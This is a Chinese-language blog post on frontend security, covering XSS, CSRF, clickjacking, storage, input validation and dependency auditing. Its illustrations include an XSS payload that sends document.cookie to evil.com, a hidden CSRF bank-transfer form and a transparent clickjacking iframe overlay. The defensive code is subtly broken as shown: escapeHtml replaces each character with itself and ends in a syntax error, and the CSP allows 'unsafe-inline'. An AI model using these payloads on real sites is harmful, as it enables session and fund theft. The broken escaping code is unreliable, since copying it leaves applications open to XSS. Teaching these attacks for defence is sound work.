前端安全防护指南:守护你的应用安全
大家好,我是蔓蔓。在大厂时,我参与过多次安全审计和加固工作。安全是一个容易被忽略但又至关重要的方面。今天我来和大家分享前端安全防护的完整方案。
XSS攻击防护
原理
// 危险示例
const userInput = '<script>alert("XSS")</script>';
document.getElementById('content').innerHTML = userInput; // 直接插入HTML
// 攻击者可以注入恶意脚本
const maliciousInput = `
<script>
// 窃取Cookie
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>
`;
防护措施
// 1. 转义特殊字符
function escapeHtml(str) {
if (typeof str !== 'string') return str;
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// 2. 使用textContent代替innerHTML
document.getElementById('content').textContent = userInput;
// 3. 设置Cookie HttpOnly
// Set-Cookie: sessionId=xxxxx; HttpOnly; Secure
// 4. 内容安全策略(CSP)
const meta = document.createElement('meta');
meta.httpEquiv = 'Content-Security-Policy';
meta.content = `
default-src 'self';
script-src 'self' 'unsafe-inline' https://trusted-cdn.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
object-src 'none';
base-uri 'self';
`;
document.head.appendChild(meta);
CSRF攻击防护
原理
<!– 攻击者网站上的恶意表单 –>
<form action="https://yourbank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="1000000">
<button type="submit">点击领取优惠</button>
</form>
<!– 用户点击后会自动发送请求,如果用户已登录,Cookie会被自动带上 –>
防护措施
// 1. 使用CSRF Token
async function fetchWithCsrf(url, options = {}) {
const csrfToken = document.querySelector('meta[name="csrf-token"]')?.content;
return fetch(url, {
…options,
headers: {
…options.headers,
'X-CSRF-Token': csrfToken
},
credentials: 'same-origin'
});
}
// 2. 使用SameSite Cookie属性
// Set-Cookie: sessionId=xxxxx; SameSite=Lax; HttpOnly
// 3. 检查Referer和Origin头
// 服务端验证请求来源
点击劫持防护
原理
<!– 攻击者网站 –>
<style>
.malicious {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
opacity: 0;
z-index: 1000;
}
</style>
<!– 在你的网站上面覆盖一个透明层,诱导用户点击 –>
<iframe src="https://your-site.com" class="malicious"></iframe>
<button style="position: absolute; top: 100px; left: 100px;">点击领取</button>
防护措施
<!– 设置X-Frame-Options –>
<!– 响应头: X-Frame-Options: DENY –>
<!– 响应头: X-Frame-Options: SAMEORIGIN –>
<!– 使用Content-Security-Policy –>
<meta http-equiv="Content-Security-Policy" content="frame-ancestors 'self'">
<!– JavaScript检测 –>
<script>
if (self !== top) {
top.location.href = self.location.href;
}
</script>
前端存储安全
// 1. 不要在localStorage存储敏感信息
// ❌ 错误
localStorage.setItem('password', 'secret123');
localStorage.setItem('creditCard', '4111111111111111');
// ✅ 正确
// 使用HttpOnly Cookie存储会话信息
// 2. 敏感数据加密存储
import CryptoJS from 'crypto-js';
function encrypt(data, key) {
return CryptoJS.AES.encrypt(JSON.stringify(data), key).toString();
}
function decrypt(ciphertext, key) {
const bytes = CryptoJS.AES.decrypt(ciphertext, key);
return JSON.parse(bytes.toString(CryptoJS.enc.Utf8));
}
// 3. 清除敏感数据
function clearSensitiveData() {
sessionStorage.clear();
// 不要清除localStorage,因为可能有用户偏好设置
}
// 4. 使用安全随机数
const secureRandom = window.crypto.getRandomValues(new Uint32Array(1))[0];
输入验证
// 1. 客户端验证
const emailRegex = /^[^\\s@]+@[^\\s@]+\\.[^\\s@]+$/;
function validateEmail(email) {
return emailRegex.test(email);
}
function validateUrl(url) {
try {
new URL(url);
return url.startsWith('http://') || url.startsWith('https://');
} catch {
return false;
}
}
// 2. 使用DOMPurify处理HTML
import DOMPurify from 'dompurify';
function sanitizeHtml(html) {
return DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a'],
ALLOWED_ATTR: ['href', 'title'],
FORBID_TAGS: ['script', 'style', 'iframe'],
FORBID_ATTR: ['onerror', 'onload', 'onclick']
});
}
// 3. 防止注入攻击
function escapeSql(str) {
// 实际上应该使用参数化查询,不要自己拼接SQL
return str.replace(/'/g, "''");
}
依赖安全
// 1. 定期检查依赖漏洞
// npm audit
// yarn audit
// 2. 使用npm audit fix自动修复
// npm audit fix
// 3. 使用锁文件
// package-lock.json
// yarn.lock
// 4. 使用npm ci代替npm install
// 确保安装的是锁文件中指定的版本
// 5. 使用Snyk等工具监控依赖安全
总结
前端安全是一个持续的过程,需要从多个层面进行防护。XSS、CSRF、点击劫持等都是常见的攻击方式,掌握相应的防护措施能让你的应用更加安全。记住,安全永远是第一位的。
技术应当有温度,安全防护是对用户最好的负责。



